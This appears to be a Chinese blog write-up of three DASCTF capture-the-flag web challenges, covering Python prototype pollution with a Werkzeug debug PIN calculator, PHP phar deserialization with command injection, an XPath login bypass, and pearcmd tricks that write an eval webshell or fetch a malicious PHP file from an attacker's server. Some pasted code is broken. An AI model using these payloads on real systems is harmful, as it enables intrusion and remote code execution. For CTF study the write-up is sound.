DASCTF七月月赛复现
EZFlask
总体思路
总体思路是利用python的原型链污染修改__file__
,实现任意文件读,从而读取到必要信息,构造PIN码解锁console从而RCE
解题
代码审计
源代码设计得挺巧的,这个其实是提供了任意读
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
原型链污染如下,那么如果能影响到__file__
,那就可以任意读了
@app.route('/register',methods=['POST'])
def register():
print(request.data)
if request.data:
try:
if not check(request.data):
print("check is not pass")
return "Register Failed"
data = json.loads(request.data) # 以JSON格式解析
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User) # 合并入列表
Users.append(User)
except Exception:
print("Exception occur")
return "Register Failed"
return "Register Success"
else:
print("Not request data")
return "Register Failed"
抓包进行污染
POST传参
{
"username": "a",
"password": "b",
"__init__": {
"__globals__": {
"__file__": target
}
}
}
target:
# eth0网卡
sys/class/net/eth0/address
# machine-id
etc/machine-id
# 容器信息,容器信息需要和machine-id拼凑在一起组成machin-id
/proc/self/cgroup
此时还有黑名单,使用Unicode编码绕过__init__
,网址:http://www.jsons.cn/unicode/
EXP-PIN
import hashlib
from itertools import chain
from os import popen
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
# fe:35:dd:8f:a8:88
# print(0xfe35dd8fa888) => 279507303901320
'279507303901320',# str(uuid.getnode()), /sys/class/net/ens33/address
'96cec10d3d9307792745ec3b85c89620docker-435940edf16ba4ad0e05e0f7079d5e18f94740d49309b5ce05bd84c30da7530f.scope'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1() # 注意python对应版本
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
获取console权限后
MyPicDisk
总体思路
利用md5_file
这个函数可以触发phar反序列化过程
因此可以利用该点进行RCE
解题
万能密码
代码审计
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){ // RCE
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { // 只允许上传图片
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename); // 触发phar反序列化
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
EXP
Phar
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->$file
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置stub头,phar文件依靠这部分来识别
//$obj = new FILE("../../../../../../");
$obj = new FILE("/;cd ../../../../../../;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phar->setMetadata($obj); // 对象写入
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering(); // 签名自动计算
copy("phar.phar", "4.jpg"); // 将phar.phar内容复制到jpg里
Upload
着重记录一下怎么通过脚本上传图片
import time
import requests
URL = "http://5968487a-f954-44f6-b2e8-89bc2e009c2d.node4.buuoj.cn:81"
def exploit():
# upload the picture
proxy = {
"http": "http://127.0.0.1:7890"
}
filename = "8.jpg" # 图片路径
# 上传图片的写法
UploadFile = { # 根据键值对来写
'file': (filename, open(file=filename, mode='rb'), 'image/jpeg')
}
data = {
"username": "1' or 1=1",
"password": "admin",
"submit": '登录'
}
cookies = {
"PHPSESSID": "858432b6b04e28d90b33955b1620acc1"
}
req1 = requests.post(url=URL, files=UploadFile, data=data, cookies=cookies, proxies=proxy)
print(req1.text)
time.sleep(0.05)
if __name__ == '__main__':
exploit()
GetFlag
ez_cms
总体思路
算是了解渗透测试的基本思路吧,题目给了一个cms的靶场
最终getshell的手段还是写马,当时已经拿到数据库了但是不知道怎么写马。。。。
利用pearcmd写马
解题
弱口令后台
/admin
路由下使用如下账号密码可以进行登录
admin
123456
pearcmd写马
pear:
php的pear扩展是一个命令行扩展管理工具
默认安装路径为:
/usr/local/lib/php/pearcmd.php
(即
pearcmd
是一个php
文件)命令行下可以使用
pear
orphp /usr/local/lib/php/pearcmd.php
运行
总的来说,pearcmd写马有三种方法
- config-create
首先需要一个包含的接口(此处为file
)包含pearcmd.php
文件
然后使用config-create
将<?=@eval($_POST['cmd']);?>
写入/tmp/test.php
位置
/?file=/www/server/php/52/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['cmd']);die()?>+/tmp/test.php
- install
在自己的vps上部署一个恶意php文件,然后利用pearcmd install下载至目标机器上
这个文件会被下载到/tmp/pear/test1.php
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php
- download
如果pearcmd.php这个关键词被过滤,可以使用peclcmd.php
,直接使用download可以下载到web目录下
/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/test.php
getshell
这里有两个坑:
-
当🐎不在web目录下该如何利用蚁剑连接
-
php文件后缀名不用写
利用文件包含来进行蚁剑连接
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 一文读懂知识蒸馏
· 终于写完轮子一部分:tcp代理 了,记录一下